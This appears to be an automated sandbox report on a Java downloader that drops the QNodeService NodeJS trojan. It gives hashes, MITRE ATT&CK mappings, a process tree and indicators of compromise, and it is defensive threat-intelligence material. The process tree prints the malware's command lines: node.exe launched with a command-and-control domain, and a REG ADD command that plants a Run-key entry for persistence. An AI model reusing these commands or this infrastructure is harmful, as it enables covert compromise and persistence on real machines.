qnodeservice | ca3fab466bd97a3a8f0d7654d2ce5dfe705760789a54bdc2fcdb3527c60fe575

General

Target

EQUIPMENT 007.jar
Size

211KB
MD5

8e729c7445eb39c762c6a1b43a432c65
SHA1

da090c5169c7e79be4c4d5e8c60f51716da86152
SHA256

ca3fab466bd97a3a8f0d7654d2ce5dfe705760789a54bdc2fcdb3527c60fe575
SHA512

337c990c1f37cbbc086ada915b26932715c5adca7f137d3ab68b884f73ec6d3181b0172f0021c440d83e25e5cddb50f25448152c8c7ef8f0e44867ba9566749a

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2676	node.exe
2968	node.exe
3716	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\211ca3fb-498b-4426-8450-b6086bdecfbe = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ada1-170.dat	js
behavioral2/files/0x000100000001ada1-176.dat	js
behavioral2/files/0x000100000001ada1-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	wtfismyip.com
20	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2676	node.exe
2676	node.exe
2676	node.exe
2676	node.exe
2968	node.exe
2968	node.exe
2968	node.exe
2968	node.exe
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 2616	3820	java.exe	73
PID 3820 wrote to memory of 2616	3820	java.exe	73
PID 2616 wrote to memory of 2676	2616	javaw.exe	77
PID 2616 wrote to memory of 2676	2616	javaw.exe	77
PID 2676 wrote to memory of 2968	2676	node.exe	79
PID 2676 wrote to memory of 2968	2676	node.exe	79
PID 2968 wrote to memory of 3716	2968	node.exe	80
PID 2968 wrote to memory of 3716	2968	node.exe	80
PID 3716 wrote to memory of 1440	3716	node.exe	82
PID 3716 wrote to memory of 1440	3716	node.exe	82
PID 1440 wrote to memory of 1772	1440	cmd.exe	83
PID 1440 wrote to memory of 1772	1440	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\EQUIPMENT 007.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\daa06b6c.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain skinnyfarm.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_8mZmmA\boot.js --hub-domain skinnyfarm.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_8mZmmA\boot.js --hub-domain skinnyfarm.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3716
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "211ca3fb-498b-4426-8450-b6086bdecfbe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1440
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "211ca3fb-498b-4426-8450-b6086bdecfbe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2676-174-0x000003F317580000-0x000003F317581000-memory.dmp

Filesize
4KB

Download
memory/2968-177-0x000000BF98240000-0x000000BF98241000-memory.dmp

Filesize
4KB

Download
memory/3716-181-0x000001E5F3640000-0x000001E5F3641000-memory.dmp

Filesize
4KB

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